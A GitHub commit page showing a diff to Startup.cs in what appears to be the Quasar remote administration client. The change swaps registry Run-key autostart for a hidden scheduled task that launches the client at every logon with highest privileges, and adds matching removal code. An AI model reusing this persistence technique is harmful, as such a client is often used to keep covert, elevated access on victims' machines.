Skip to content

Commit

Permalink
Fixed quasar#440
Browse files Browse the repository at this point in the history
  • Loading branch information
MaxXor committed Aug 11, 2016
1 parent b2888d0 commit 2a1bbf6
Showing 1 changed file with 33 additions and 15 deletions.
48 changes: 33 additions & 15 deletions Client/Core/Installation/Startup.cs
Original file line number Diff line number Diff line change
@@ -1,4 +1,6 @@
using Microsoft.Win32;
using System;
using System.Diagnostics;
using Microsoft.Win32;
using xClient.Config;
using xClient.Core.Data;
using xClient.Core.Helper;
Expand All @@ -7,22 +9,26 @@ namespace xClient.Core.Installation
{
public static class Startup
{
// ReSharper disable InconsistentNaming
private static string GetHKLMPath()
{
return (PlatformHelper.Is64Bit)
? "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run"
: "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
}

public static bool AddToStartup()
{
if (WindowsAccountHelper.GetAccountType() == "Admin")
{
bool success = RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, GetHKLMPath(),
Settings.STARTUPKEY, ClientData.CurrentPath, true);
try
{
ProcessStartInfo startInfo = new ProcessStartInfo("schtasks")
{
Arguments = "/create /tn \"" + Settings.STARTUPKEY + "\" /sc ONLOGON /tr \"" + ClientData.CurrentPath + "\" /rl HIGHEST /f",
UseShellExecute = false,
CreateNoWindow = true
};

if (success) return true;
Process p = Process.Start(startInfo);
p.WaitForExit(1000);
if (p.ExitCode == 0) return true;
}
catch (Exception)
{
}

return RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY, ClientData.CurrentPath,
Expand All @@ -40,10 +46,22 @@ public static bool RemoveFromStartup()
{
if (WindowsAccountHelper.GetAccountType() == "Admin")
{
bool success = RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine, GetHKLMPath(),
Settings.STARTUPKEY);
try
{
ProcessStartInfo startInfo = new ProcessStartInfo("schtasks")
{
Arguments = "/delete /tn \"" + Settings.STARTUPKEY + "\" /f",
UseShellExecute = false,
CreateNoWindow = true
};

if (success) return true;
Process p = Process.Start(startInfo);
p.WaitForExit(1000);
if (p.ExitCode == 0) return true;
}
catch (Exception)
{
}

return RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY);
Expand Down

0 comments on commit 2a1bbf6

Please sign in to comment.